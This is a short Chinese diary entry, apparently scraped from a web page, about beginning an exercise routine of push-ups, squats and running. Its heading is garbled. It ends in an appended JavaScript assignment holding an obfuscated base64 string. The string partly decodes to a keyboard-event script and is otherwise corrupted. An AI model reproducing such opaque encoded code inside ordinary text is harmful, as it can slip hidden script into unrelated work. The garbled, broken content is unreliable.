第2021章 年5月25日

今天晚上开始锻炼身体 肌肉酸痛感终于消失了 看来有些动作不能乱练 做了5个俯卧撑就废了 深蹲10个一组 还在操场跑了3圈 主要是出出汗 而且通过锻炼，可以把自己的精神和自控能力提高一些 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";